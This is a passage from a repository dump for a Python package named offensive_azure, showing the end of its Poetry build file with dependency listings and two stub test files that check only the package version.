"^0.4.4" 29 | uuid = "^1.30" 30 | python-whois = "^0.7.3" 31 | pycryptodome = "^3.14.1" 32 | 33 | [tool.poetry.dev-dependencies] 34 | pytest = "^5.2" 35 | 36 | [build-system] 37 | requires = ["poetry-core>=1.0.0"] 38 | build-backend = "poetry.core.masonry.api" 39 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | """Stub""" 2 | -------------------------------------------------------------------------------- /tests/test_offensive_azure.py: -------------------------------------------------------------------------------- 1 | """Stub""" 2 | from offensive_azure import __version__ 3 | 4 | def test_version(): 5 | """Version assertion""" 6 | assert __version__ == '0.1.0' 7 | --------------------------------------------------------------------------------